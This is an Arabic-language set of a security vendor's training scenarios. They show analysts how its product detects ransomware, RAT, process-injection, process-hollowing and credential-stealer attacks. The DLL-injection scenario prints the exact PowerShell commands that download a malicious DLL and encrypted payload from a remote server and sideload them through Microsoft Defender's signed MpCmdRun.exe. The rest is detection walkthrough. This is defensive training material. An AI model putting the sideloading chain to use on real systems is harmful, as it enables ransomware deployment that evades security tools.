سيناريوهات

سيناريو تدريبي - حقن DLL

اسم المجموعة

بيانات التدريب - حقن Dll (Hive)

السيناريو

في هذا السيناريو التدريبي، سننفذ حمولة برمجية خبيثة (رانسوم وير) مشفرة عبر حقن DLL في برنامج MS Defender الموقّع رقميًا. تم إنشاء ملف DLL مخصص، كما قد يقوم مهاجم بإنشائه، والذي يقوم بفك تشفير ملف .log وهمي وتنفيذه.

تتجاهل العديد من أدوات الأمان ببساطة العمليات التي يبدأها عنصر أب موقّع، لا سيما إذا كان برنامج مضاد فيروسات موقّعًا، وبشكل أخص Defender. فأوامر Defender ليست فقط مسموحة في الغالب، بل غالبًا ما تكون ذات صلاحيات مرتفعة للغاية. هنا، الأمر الذي يتم استغلاله كسلاح هو تحديث للتوقيعات، وهو أمر ليس فقط شائعًا، بل سيتم تجاهله من قِبل أي عملية بحث عن البرمجيات الخبيثة. نوضح هنا أنه حتى مع تقنيات "العيش خارج الأرض" (living off the land) البسيطة، يمكن للمهاجم تنفيذ حمولات ذات صلاحيات مرتفعة من خلال تجهيز نص برمجي بسيط دون الحاجة إلى أدوات حقن مخصصة على الجهاز.

فيما يلي النص البرمجي الدقيق الذي تم تشغيله على جهاز الضحية. لاحظ أنه لا يحدث أي شيء ضار بشكل صريح، فنسخ ملفات Defender التنفيذية إلى مجلد تجهيز يتم فقط لإبراز ملفات C:\staging في تحليل السبب الجذري.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

تفصيل الأمر سطرًا بسطر:

  1. إنشاء مجلد التجهيز

  2. نسخ Defender إلى مجلد التجهيز

  3. إعادة تسمية ملف mpclient.dll الحقيقي

  4. تنزيل ملف "log" المشفر وملف DLL الخبيث من خادم بعيد

  5. تنفيذ MpCmdRun الموقّع الحقيقي بمهمة تحديث التوقيعات

MpCmdRun.exe
MpCmdRun.exe

التعرف عليه

Automated Response
الاستجابة الآلية

بدايةً من الاستجابة الآلية، فإن أجراس الإنذار ستدق في ذهنك. عملية لم يسبق رؤيتها من قبل، تحمل اسمًا عشوائيًا (GUID)، تم تنفيذها وأطلقت Cyber Crucible وهي غير موقّعة. ومع ذلك، لاحظ أن المسار هنا كان يمكن أن يكون شيئًا أقل إثارة للقلق في الظاهر. تم تركه عمدًا كـ C:\staging لإبرازه.

الخطوة التالية الفورية ستكون العثور على ذلك الملف ومعرفة كيف وصل إلى هناك. من المرجح أنه تم حذفه تلقائيًا، لكن يمكننا الرجوع إلى سجلات إنشاء العمليات في Cyber Crucible لمعرفة من قام بتشغيله في المقام الأول.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

تمامًا كما هو موضح في السيناريو أعلاه، بدأ نص برمجي بلغة powershell ملفًا تنفيذيًا لـ Defender، والذي بدوره أطلق عمليتنا المخيفة. ثم أطلقت الحمولة الخبيثة العديد من العمليات الفرعية للقيام بمهام تجهيز متنوعة. غالبًا ما توفر الرؤية على هذه العمليات الخلفية نظرة ثاقبة على الملفات التي تم إنشاؤها على النظام، ومفاتيح السجل التي تم تعديلها، ونشاط الانتشار الذاتي (worming)، وما إلى ذلك.

Otherwise “invisible behavior”
سلوك كان سيبقى "غير مرئي" لولا ذلك

في هذه المرحلة، تم احتواء الهجوم بواسطة Cyber Crucible، ولكن تحليل العمليات ذات الصلة أمر مهم لتحديد نطاق السلوكيات الخبيثة. قد يبدو تنفيذ الملف التنفيذي غير الموقّع وحده أمرًا واضحًا عندما يعرضه Cyber Crucible، ولكن في كثير من الأحيان يتم ببساطة تجاهل العمليات الخلفية التي يبدأها برنامج يتمتع بصلاحيات وحماية مثل Defender.

الوثائق ذات الصلة

سيناريو تدريبي - برمجية الفدية العادية (Vanilla Ransomware)

اسم المجموعة

بيانات التدريب - برمجية الفدية العادية (Hive)

السيناريو

في هذا السيناريو التدريبي، سنقوم بتنفيذ حمولة برمجية فدية "عادية"، تعمل بصلاحيات المسؤول (admin) دون أي ثغرات استغلال. يحاكي هذا المثال الأساسي لمستخدم يقوم بتنزيل برمجية خبيثة عبر رابط تصيد احتيالي، أو ذاكرة USB خبيثة، وما إلى ذلك.

على الرغم من أن هذه طريقة تنفيذ بسيطة جدًا، إلا أنه إذا كانت الحمولة عبارة عن ثغرة يوم صفري (zero day)، فإنها ستظل غير ملحوظة من قبل منتجات الأمان القائمة على التوقيعات (signature based)، وقد تسبب أضرارًا لا يمكن إصلاحها قبل أن تتمكن المنتجات السلوكية القائمة على السحابة من إعادة تحليلها.

التعرف عليها

Automated Response
استجابة آلية

التعرف على هذه الحادثة هو الأسهل من بين جميع العينات. بمجرد ملاحظة اسم الملف المشبوه لملف بدون توقيع، يكون ذلك علامة تحذيرية فورية.

لتأكيد طريقة التنفيذ، يمكننا النظر في عمليات إنشاء العمليات (process creations) حول وقت الحادثة. ما نراه يؤكد أنه لم تكن هناك طريقة استغلال معقدة، ولا حتى نص برمجي (script)! كما هو الحال مع العينات الأخرى، فإن عمليات إنشاء العمليات الفرعية مثيرة للاهتمام. على الرغم من أن طريقة تنفيذ البرمجية الخبيثة نفسها كانت واضحة، إلا أن العديد من العمليات في الخلفية تُبدأ لتعطيل الحماية وإعدادات النظام الأخرى.

في هذه المرحلة، تم احتواء الهجوم بواسطة Cyber Crucible، لكن تحليل العمليات ذات الصلة أمر مهم لتحديد نطاق السلوكيات الخبيثة. يبدو تنفيذ الملف التنفيذي غير الموقّع وحده واضحًا عندما يتم عرضه بواسطة Cyber Crucible، ولكن في كثير من الأحيان، يتم تجاهل العمليات التي تبدأ في الخلفية بواسطة شيء محمي وذو صلاحيات مثل Defender ببساطة.

الوثائق ذات الصلة

سيناريو تدريبي - برمجية فدية موقّعة رقميًا

اسم المجموعة

بيانات تدريبية - برمجية فدية موقّعة رقميًا (Hive)

السيناريو

في هذا السيناريو التدريبي، سننفذ حمولة برمجية فدية، تعمل بصلاحيات المسؤول (admin)، وموقّعة بتوقيع مخصص. لا يختلف هذا السيناريو كثيرًا عن العينة "الأساسية"، لكنه يستخدم ملفًا تنفيذيًا موقّعًا.

غالبًا ما تُعامل الملفات التنفيذية الموقّعة على أنها موثوقة تلقائيًا. صحيح أن البرمجيات المعتمدة يجب أن تكون كلها موقّعة، لكن هذه ليست علاقة ثنائية الاتجاه، ولا ينبغي لنا الوثوق بالأشياء لمجرد أنها موقّعة. للأسف، يُرتكب هذا الخطأ في بعض الأحيان.

كيفية التعرف عليه

بصرف النظر عن أن اسم هذه الشهادة غريب بعض الشيء لأغراض التدريب، كيف يعرف Cyber Crucible أنها غير موثوقة؟ يتوخى Cyber Crucible الحذر ويحتفظ بقائمة (خاصة بكل مجموعة) من الشهادات الموثوقة. وهذا يعني أنه يمكننا بسهولة اكتشاف شهادات التوقيع الاختبارية، بالإضافة إلى الشهادات الرسمية من جهات إصدار الشهادات (CAs) الكبرى مثل digicerts.

يمكننا أن نرى أعلاه أنه على الرغم من أن الملف "321d0…" موقّع، إلا أنه لا يزال غير موثوق. وبما أنه لا توجد تقنيات تعتيم معقدة أخرى استُخدمت لنشر الهجوم، فإننا نعرف بالضبط من أين جاء!

للتأكد من طريقة التنفيذ، يمكننا النظر في عمليات إنشاء العمليات (process creations) حول وقت الحادثة. ما نراه يؤكد أنه لم تكن هناك طريقة استغلال معقدة، ولا حتى نص برمجي (script)! كما هو الحال مع العينات الأخرى، فإن عمليات إنشاء العمليات الفرعية (child processes) مثيرة للاهتمام رغم ذلك. فحتى مع كون طريقة تنفيذ البرمجية الخبيثة نفسها واضحة، تُشغَّل العديد من العمليات في الخلفية التي تعطّل الحماية وإعدادات النظام الأخرى.

في هذه المرحلة، يكون الهجوم قد احتُوي بواسطة Cyber Crucible، لكن تحليل العمليات ذات الصلة مهم لتحديد نطاق السلوكيات الخبيثة. قد يبدو تنفيذ الملف التنفيذي غير الموقّع وحده واضحًا عندما يعرضه Cyber Crucible بهذا الشكل، لكن في كثير من الأحيان يتم تجاهل العمليات التي تُشغَّل في الخلفية من قبل شيء محمي وذي صلاحيات مثل Defender ببساطة.

الوثائق ذات الصلة

سيناريو تدريبي - تعداد البيانات

اسم المجموعة

بيانات تدريبية - استخراج بيانات عبر RAT (Quasar)

السيناريو

في هذا السيناريو التدريبي، سنقوم بتشغيل RAT على جهاز الضحية، واستخدامه لتعداد البيانات الموجودة على القرص، بهدف استخراج الملفات.

على الرغم من أن هذا ليس هجوم فدية، إلا أن السلوكيات التي يستخدمها RAT تندرج ضمن سلوكيات ابتزاز البيانات التي يكتشفها Cyber Crucible. وتبدو الاستجابة للحادث والبيانات ذات الصلة مشابهة جدًا لتلك الخاصة بالاستجابة لحمولة فدية، لأنه بالنسبة لـ Cyber Crucible، كل ذلك يُعامل بالطريقة نفسها!

التعرف عليه

يبدو هذا الملف التنفيذي غريبًا بعض الشيء، لكنه موجود في system32 ويؤدي إلى استجابات متكررة. يلزم إجراء المزيد من التحقيق لمعرفة ما حدث هنا. يمكننا البدء بالبحث عن المسارات الفرعية المرتبطة بمسار الاستجابة.

هنا نحصل على المزيد من الأدلة لتوضيح القصة. قام مستخدم بتشغيل الملف client-build.exe من سطح المكتب، وهو أداة إسقاط RAT. ثم يبدو أنه يقوم بتصعيد الامتيازات عبر svchost. لا تزال هناك بعض القطع المفقودة في الأحجية، مع ذلك. كيف نعرف أن هذا هو RAT وليس مجرد شيء يتفاعل مع svchost؟

هذا يفتح لنا رؤية أوسع بكثير! فلا نحن فقط نعرف الآن على وجه اليقين أن هناك نشاطًا مشبوهًا يجري، والمسارات المرتبطة به، بل نعرف أيضًا أنه يتم إنشاء آلية استمرارية (persistence). بل نرى أيضًا أننا نتعامل مع Quasar، وهو RAT معروف جيدًا.

Quasar هو RAT متطور، وينفذ معظم سلوكه من داخل ملفه التنفيذي الخاص، مفضلًا استخدام مكتباته المُجمَّعة ثابتيًا الخاصة به بدلًا من استخدام أدوات Windows الافتراضية للعديد من المهام. لكن حتى Quasar يُضبط أحيانًا عند استخدامه لأدوات مثل schtasks.

الوثائق ذات الصلة

سيناريو تدريبي - حقن العمليات

اسم المجموعة

بيانات التدريب - حقن العمليات (Hive)

السيناريو

في هذا السيناريو التدريبي، سنقوم بتنفيذ حمولة برمجيات الفدية عبر حقن العمليات في عملية Svchost.exe قيد التشغيل بالفعل. عملية Svchost المعنية هي عملية تشغيل نظام عادية، تعمل منذ فترة طويلة، وموقّعة، وتعمل تحت حساب مستخدم LocalSystem.

نظرًا لأن Svchost "حقيقية"، فغالبًا ما يتم تجاهلها. يعلم المسؤولون أن العديد من نسخ Svchost تعمل، وطالما أن وسيطات البرنامج تبدو صحيحة، تُعامل على أنها "صندوق أسود" ويُترك أمرها. تُعد هذه ثغرة واضحة، وغالبًا ما يستغلها القراصنة. عند دمج هذا الأسلوب مع حمولة يوم صفر (zero day)، يصبح ناجحًا جدًا في إخفاء هجمات برمجيات الفدية.

التعرف عليها

svchost.exe’s Cert Signer(s)
جهة (جهات) توقيع شهادة svchost.exe

الوضع المحيط بهذه الاستجابة الآلية ليس واضحًا مباشرة عند النظرة الأولى. تبدو وسيطات سطر الأوامر صالحة بالنسبة لـ Svchost، والملف التنفيذي موقّع من قبل Microsoft.

حقيقة وجود خيط (thread) بعيد غير موثوق أمر مثير للريبة، لكنه يتطلب مزيدًا من التحقيق. تحدث العديد من الخيوط البعيدة على النظام، لكن معظمها يظل "موثوقًا" لأنها تُستخدم للتواصل الطبيعي بين العمليات، ومشاركة البيانات، وما إلى ذلك.

عندما يُنشأ خيط بعيد داخل عملية بطريقة غير طبيعية، ويُعلَّم على أنه غير موثوق، فهذا هو المكان الذي يجب أن ندقق فيه أكثر.

Innocent Process Injections that occur normally
عمليات حقن بريئة تحدث بشكل طبيعي

لكي نفرز العدد الكبير من عمليات الحقن التي تحدث على النظام في أي وقت معين، يمكننا الرجوع إلى كل من وقت الحادثة، ومعرّف العملية (pid) للعملية المُعلَّمة. عادةً ما نبدأ ببضعة معرّفات عمليات (pid) للاستجابات المشبوهة، ثم نصعد في سلسلة الحقن والإنشاء للحصول على القصة الكاملة.

Filtering out irrelevant injections
تصفية عمليات الحقن غير ذات الصلة
The smoking gun!
الدليل القاطع!

نعلم بالفعل أنه لا ينبغي لأحد أن يحقن في Svchost بهذه الطريقة، ولكن بالتأكيد ليس في هذه العملية! من هنا فصاعدًا يمكننا التعامل مع هذه العملية كما لو كانت "malware.exe" ومعرفة من قام بتشغيلها، إذ لا بد أن أحدهم قد فعل ذلك.

Processes started with pid 9168
عمليات بدأت بمعرّف العملية (pid) 9168

نظرًا لوجود عمليتي إنشاء بمعرّف العملية (pid) 9168، وهما مختلفتان تمامًا، يمكننا تضييق نطاق البحث بناءً على الطابع الزمني و/أو مسار العملية الفرعية، ونرى أنها أُنشئت بواسطة explorer.exe. هذا يعني أن شخصًا ما قام يدويًا بتشغيل عملية الحاقن، ولا يمكن أن يكون الأمر مجرد مصادفة في سلوك Svchost تم تصنيفها بشكل خاطئ.

الوثائق ذات الصلة

سيناريو تدريبي - تعديل الذاكرة

اسم المجموعة

بيانات التدريب - تفريغ العمليات (Process Hollowing) لـ SQL (Hive)

السيناريو

في هذا السيناريو التدريبي، سنقوم بتنفيذ حمولة برامج فدية عبر تقنية تفريغ العمليات (process hollowing)، وهي تقنية حقن / تهرب حيث يتم تشغيل عملية ما ثم يُعدَّل رمزها التنفيذي لتنفيذ سلوك آخر.

تُعد أساليب التنفيذ داخل الذاكرة من أصعب الأساليب اكتشافًا، بل ومن الأصعب حتى وضع استجابة آلية لها، لذا كثيرًا ما يتم تجاهلها. فالذاكرة بطبيعتها متقلبة ودائمة التغير. ويتطلب رصد التغييرات داخل ذاكرة عملية ما تحديد الأقسام ذات الصلة، وتقييمها في أوقات مختلفة من دورة حياة العملية لمعرفة ما إذا كان قد تم العبث بها.

كيفية التعرف عليها

تُعد الاستجابات المتعلقة بتعديل الذاكرة الأصعب من حيث الفحص إلى حد بعيد. وبما أن الذاكرة زائلة بطبيعتها، فإنها تُعامل كـ"صندوق أسود" وغالبًا ما يتم إبقاؤها بعيدة المنال. والخبر السار هو أنه اعتبارًا من الإصدار Cyber Crucible 4.4.1.3، أصبح لدينا الآن القدرة على جمع بيانات القياس عن بعد تلقائيًا لعينات الذاكرة المعدَّلة، وتحديد نطاقات الذاكرة التي تم تعديلها، والتغييرات الدقيقة التي طرأت عليها.

إلا أن هذا النوع من التحليل مرهق للغاية، لذا فإن الخطوة الأولى الجيدة هي فحص العمليات ذات الصلة في لوحة المعلومات للحصول على فكرة عن السلوكيات المرتبطة بها. وبما أن العملية محل النظر هنا هي SQLCMD.exe الموقّعة، فمن المفترض أن يتضح بسرعة ما إذا كانت هذه عملية SQL حميدة أم شيئًا أسوأ من ذلك.

حتى الآن كل شيء على ما يرام، مجرد عمليات SQL عادية، لا يوجد بالضرورة ما يثير الريبة أو عدمها. ومع ذلك، لا يعجبنا أبدًا رؤية أوامر CMD متورطة في استجابات آلية. دعونا نتعمق أكثر في البحث.

الدليل القاطع!
الدليل القاطع!

وها هو ذا! يمكننا الاستمرار في التمرير لرؤية المزيد والمزيد من السلوكيات المشابهة. فملف SQLCMD التنفيذي ينفذ كل أنواع الأوامر لتعطيل الخدمات، وتغيير الإعدادات، وكل ما يمكن أن تقوم به برامج الفدية استباقيًا.

هنا يمكننا أن نلمح فكرة صغيرة عما ينتظرنا عندما نبدأ في التعمق وتحليل فروقات الذاكرة (memory diffs). فمعظم الأساليب التقنية المتطورة بما يكفي لتنفيذ برمجية خبيثة كاملة داخل الذاكرة ستقوم أيضًا بتعتيم رمزها داخل الذاكرة. وهذا يجعل تحليلها بالغ الصعوبة، لكن الوصول إلى بيانات القياس عن بعد الإضافية أثبت بالفعل قيمته الكبيرة في التعرف على الحوادث، وكذلك في ضبط السلوكيات.

الوثائق ذات الصلة

سيناريو تدريبي - سرقة الهوية

اسم المجموعة

بيانات التدريب - سرقة الهوية (Redline)

السيناريو

في هذا السيناريو التدريبي، سنقوم بتنفيذ برمجية خبيثة من نوع "السارقة" (stealer) لتنفيذ المرحلة الأولى من الهجوم، وهي سرقة بيانات الاعتماد. على عكس سيناريو RAT، لا يستخدم هذا السيناريو نفس السلوكيات التي يستخدمها برنامج الفدية. بدلاً من ذلك، هذا جزء من قدرات حماية الهوية المتنامية لدى Cyber Crucible.

غالبًا وقبل حدوث الابتزاز نفسه، تكون الخطوات الأولى التي يقوم بها المهاجم هي التحرك عبر الشبكة والحصول على أكبر قدر ممكن من بيانات الاعتماد. في بعض الحالات، يكون هذا مزيجًا من اسم المستخدم/كلمة المرور الخاص بـ AD، وفي حالات أخرى تكون مفاتيح API يتم الحصول عليها من جلسات المتصفح.

التعرف عليه

في الوقت الحالي، دعنا نتعمق في كيفية ظهور الوصول غير الطبيعي للمسؤول.

عمليات الوصول إلى بيانات الهوية واضحة تمامًا، فإذا لم يتعرف المسؤولون على برنامج ما، فلا ينبغي أن يكون له إمكانية الوصول إلى تلك البيانات! هذا يبرز فورًا كأمر مريب يحدث.

ما هو الجانب الآخر الذي يراه المهاجم؟ نص عادي غير مشفر (Plaintext)!

هذه الاستجابات ليست كالاستجابات الخاصة بأحداث ابتزاز البيانات التقليدية، لذا فهي ليست إجراءات إيقاف تلقائية. بدلاً من ذلك، فهي أشبه بحقن العمليات (process injections)، حيث لم تقف Cyber Crucible عائقًا في طريقها. ومع نمو تحليلاتنا، تعلمنا كيف يبدو الوصول "الطبيعي" إلى مخازن الهوية بالنسبة لأنواع مختلفة من التطبيقات. بحلول عام 2023، سنفعّل ميزة الحماية الخاصة بنا، والتي ستقيّد الوصول، على مستوى النواة (kernel)، إلى مختلف أشكال قواعد بيانات الهوية ولن تسمح إلا للبرمجيات المرتبطة بها بالوصول إليها.

الوثائق ذات الصلة